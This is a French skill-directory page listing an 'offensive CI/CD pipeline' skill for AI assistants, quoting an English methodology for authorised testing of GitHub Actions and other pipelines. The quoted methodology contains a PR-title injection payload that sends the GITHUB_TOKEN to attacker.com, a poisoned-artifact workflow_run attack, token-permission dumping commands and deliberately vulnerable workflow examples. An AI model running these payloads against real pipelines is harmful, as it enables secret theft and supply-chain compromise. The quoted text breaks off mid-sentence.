Aller au contenu
Skillpedia
Sécurité10k · #11948

offensive-cicd-pipeline

Ce qu’il fait

Ce skill est une méthodologie pour tester les pipelines CI/CD dans des évaluations autorisées. Il couvre l'injection dans GitHub Actions, les chemins d'attaque Jenkins et les risques de chaîne d'approvisionnement dans les systèmes de build. Il s'adresse aux professionnels de la sécurité qui examinent comment les pipelines de build peuvent être détournés.

Quand l’utiliser

  • ✓Quand vous testez un workflow GitHub Actions pour détecter des risques d'injection dans une évaluation autorisée.
  • ✓Quand vous voulez vérifier un serveur Jenkins pour détecter une exposition risquée de scripts ou d'identifiants lors d'un test validé.
  • ✓Quand vous devez examiner les périmètres des jetons du pipeline et les événements déclencheurs pour les risques de chaîne d'approvisionnement.

Lien du skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cicd/offensive-cicd-pipeline/SKILL.md

Copiez-le et collez-le dans votre IA (Claude, ChatGPT ou Cursor) en lui demandant de suivre les instructions.

Comment l’utiliser

Le plus simple : copiez le message et collez-le dans votre IA. Elle lit le skill et suit les instructions.

Message prêt à coller

Utilise ce skill pour m’aider : https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cicd/offensive-cicd-pipeline/SKILL.md Lis le fichier SKILL.md de ce lien et suis ses instructions pour ma tâche.
Envie que votre IA trouve seule des skills comme celui-ci ?Installez le MCP gratuit de Skillpedia : une ligne, et elle cherche parmi 15 000+ skills avant chaque tâche.Installer en 1 minute →

Exemple de demande à votre IA

“Nous sommes autorisés à tester nos pipelines CI. Vérifie les workflows GitHub Actions pour détecter les risques d'injection.”

5 nouveaux skills par semaine. 1 minute de lecture.

Comment ça marche

Le skill liste les configurations de pipeline, identifie les événements et les entrées qu'un attaquant pourrait contrôler, et cartographie les périmètres des jetons. Il choisit ensuite la méthode de test qui correspond au niveau d'accès testé.

Contenu technique (SKILL.md original)

Texte original de l’auteur, en anglais, directement depuis GitHub.

Offensive CI/CD Pipeline Exploitation

CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.

This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.

MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)

Quick Workflow

  1. Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
  2. Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
  3. Map token scopes and available secrets for each pipeline context.
  4. Select the injection vector matching your access level (contributor, external PR, authenticated user).
  5. Craft the payload for the target platform's expression language or script engine.
  6. Execute and capture output -- secrets, tokens, or artifact modification.
  7. Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.

GitHub Actions Expression Injection

GitHub Actions evaluates expressions in ${{ }} contexts. When attacker-controlled data flows into these expressions without sanitization, you achieve arbitrary command injection in the runner context.

The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages that flow into run: steps or action inputs.

Identify vulnerable workflows by searching for direct interpolation of event data:

# Search for expression injection sinks in workflow files
grep -rn '\${{.*github\.event\.' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.pull_request\.title' .github/workflows/
grep -rn '\${{.*github\.event\.issue\.body' .github/workflows/
grep -rn '\${{.*github\.event\.comment\.body' .github/workflows/
grep -rn '\${{.*github\.event\.discussion\.body' .github/workflows/

A vulnerable workflow looks like this:

# Vulnerable: PR title flows directly into shell execution
name: PR Greeting
on: pull_request_target
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - run: |
          echo "Thanks for PR: ${{ github.event.pull_request.title }}"

You inject through the PR title:

"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #

For workflow_run abuse, a workflow triggered by workflow_run runs in the context of the default branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a PR workflow, then the workflow_run workflow processes it with elevated privileges:

# Attacker's PR modifies the artifact upload step
- uses: actions/upload-artifact@v4
  with:
    name: pr-data
    path: payload.sh

# The workflow_run handler in the default branch processes artifacts unsafely
on:
  workflow_run:
    workflows: ["PR Build"]
    types: [completed]
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
      - run: bash pr-data/payload.sh  # Executes attacker's code with write access

Enumerate GITHUB_TOKEN permissions to understand your execution scope:

# Inside a compromised workflow step, dump token permissions
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'

# Check if the token can push to the repository
curl -sS -H "Authorization: token $GITHUB_TOKEN" \
  https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main

Composite action supply chain attacks target reusable actions referenced without SHA pinning:

# Vulnerable: references a tag that can be force-pushed
- uses: org/custom-action@v1

# Secure: references an immutable commit SHA
- uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Use gato to enumerate a

Questions fréquentes

Quelles plateformes CI/CD couvre-t-il ?

Il couvre GitHub Actions, Jenkins et d'autres grands pipelines, y compris GitLab et Azure.

Qu'est-ce qu'un jeton surdimensionné ?

C'est lorsqu'un jeton de pipeline a plus de permissions que le job n'en requiert, ce que le skill vérifie.

Est-ce réservé aux tests autorisés ?

Oui. Le skill est écrit pour les évaluations où vous disposez d'une autorisation écrite.

Détails

Description originale de l’auteur

Comprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline ag

repo: SnailSploit/Claude-Red

Popularité

Étoiles GitHub
10k
Position au classement
#11948
Licence
MIT
Mis à jour
12/10/2026

Ce skill vous est-il utile ?

0

Connectez-vous pour voter.

Commentaires

  • …

Autres skills de ce dépôt

Skills similaires